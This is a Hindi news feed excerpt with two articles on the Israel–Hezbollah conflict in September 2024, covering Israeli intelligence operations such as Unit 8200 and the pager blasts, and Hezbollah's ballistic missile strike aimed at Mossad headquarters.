आर्मी चीफ ने एक अखबार से बात करते हुए कहा कि इजरायल ने हमास को अपना पहला टारगेट बनाया और उसे जड़ से खत्म करने पर अड़ गया। जनरल द्विवेदी ने विदेश मंत्री एस जयशंकर की एक किताब का हवाला देते हुए इजरायल की रणनीति की तुलना महाभारत के एक प्रसंग से की, जहां अर्जुन, अगर चक्रव्यूह में प्रवेश करते, तो जीवित बच सकते थे और अभिमन्यु भी बच जाता। इसी तरह, इजरायल ने हमास को पहले निपटाने का फैसला किया है।

खासतौर पर इजरायल ने यूनिट 8200 को तैनात किया। यह इजरायली सेना की ही एक यूनिट है, जो मोसाद के साथ मिलकर काम करती है। इसके तहत उसने साइबर वारफेयर पर काम किया। इसी एजेंसी की देन थी कि उसने हिजबुल्लाह पर पेजर और वॉकी-टॉकी ब्लास्ट के जरिए हमले कराए। इसी के तहत ईरान की इंटेलिजेंस यूनिट में घुसपैठ की गई और उसके 20 लोगों से सारी सूचना हासिल की गई। ईरान के परमाणु ठिकानों से लेकर हिजबुल्लाह, हमास के लीडर्स तक के बारे में पूरी जानकारी इजरायल को मिल गई।

इजरायल के इस इंटेलिजेंस वारफेयर का पहला नतीजा 2008 में आया था। तब मोसाद ने सीआईए के साथ मिलकर हिजबुल्लाह के टॉप लीडर इमाद मुगनियाह को ढेर कर दिया था। इसके बाद 2020 में ईरानी कुद्स फोर्स के नेता कासिम सुलेमानी को अमेरिका ने मार गिराया था। सुलेमानी की लोकेशन की पूरी जानकारी इजरायली एजेंसी ने ही अमेरिका को दी थी, जिसे इराक में मारा गया था। इसी दौरान इजरायल नसरल्लाह को मार गिराने वाला था, लेकिन तब ऐसा नहीं किया। इसकी वजह थी कि इजरायल तब युद्ध नहीं चाहता था। अब इजरायल की वह 18 साल पुरानी तैयारी काम आ रही है। उसने 7 दिनों में हिजबुल्लाह के सात कमांडरों को मार गिराया है। इसके अलावा हमास के लीडर्स को भी उसने ढेर किया है।

]]>
लेबनान और इजरायल के जंग में अब संकट गहराता जा रहा, हिजबुल्लाह ने अब मोसाद हेडक्वार्टर को बनाया निशाना https://pratyushaashakinayikiran.com/?p=75274 Wed, 25 Sep 2024 20:25:00 +0000 https://pratyushaashakinayikiran.com/?p=75274 इजरायल
लेबनान और इजरायल के जंग में अब संकट गहराता जा रहा है। इजरायल के एक के बाद एक हमलों में लेबनान में 500 से ज्यादा मौतों के बाद हिजबुल्लाह तिलमिला गया है और किसी भी हालत में पीछे हटने को तैयार नहीं है। इस बीच हिजबुल्लाह ने बुधवार को कहा है कि उसने तेल अवीव के पास इजरायली जासूसी एजेंसी मोसाद के मुख्यालय को निशाना बनाकर बैलिस्टिक मिसाइल दागी है। समूह ने कहा है कि हाल ही में हुए हमलों की योजना मोसाद हेडक्वार्टर में ही बनाई गई थी। यह पहली बार है जब हिजबुल्लाह ने लगभग एक साल से चल रही जंग के बाद से बैलिस्टिक मिसाइल हमले का दावा किया है। वहीं इजरायली सेना ने कहा है कि हिजबुल्लाह की ओर से दागी गई मिसाइल पहली बार आयरन डोम के रोके जाने से पहले राजधानी तेल अवीव में पहुंची।

हिजबुल्लाह ने बुधवार को एक बयान में कहा, "समूह ने बुधवार, 25 सितंबर 2024 को सुबह साढ़े 6 बजे तेल अवीव के बाहरी इलाके में मोसाद मुख्यालय को निशाना बनाकर 'कादर 1' बैलिस्टिक मिसाइल दागी है।" पिछले सप्ताह लेबनान में हुए हमलों का जिक्र करते हुए बयान में कहा गया, "नेताओं की हत्या और पेजर और वायरलेस उपकरणों के विस्फोट के लिए मोसाद ही जिम्मेदार है।" इसमें यह भी कहा गया कि यह हमला गाजा के लोगों के समर्थन में और लेबनान और उसके लोगों की रक्षा के लिए किया गया है।

पहली बार हिजबुल्लाह ने दागी बैलिस्टिक मिसाइलें
सैन्य विश्लेषक रियाद कहवाजी ने कहा है कि यह पहली बार है जब हिजबुल्लाह ने इजरायल पर बैलिस्टिक मिसाइलें दागी हैं। उन्होंने कहा कि ये मिसाइलें ईरान में बनी हैं। गौरतलब है कि फिलिस्तीनी आतंकवादी समूह हमास द्वारा पिछले साल 7 अक्टूबर को इजरायल पर किए गए हमले के बाद से ही हिजबुल्लाह और इजरायल के बीच गोलीबारी का हो रही है। हमास के हमले ने गाजा में छिड़ी जंग में मिडिल ईस्ट में हिजबुल्लाह सहित अन्य ईरान समर्थित आतंकवादी गुट शामिल हो गए हैं।

2 दशक का सबसे घातक हमला
हाल के दिनों में इजरायल ने गाजा से ध्यान हटाकर लेबनान में बड़ी लड़ाई शुरू कर दी है। लेबनानी स्वास्थ्य मंत्रालय ने कहा है कि इजरायली हमलों में सोमवार को कम से कम 558 लोग मारे गए। लेबनान ने इसे 1975-90 के गृहयुद्ध के बाद से देश में हिंसा का सबसे घातक दिन दिन बताया है।

]]>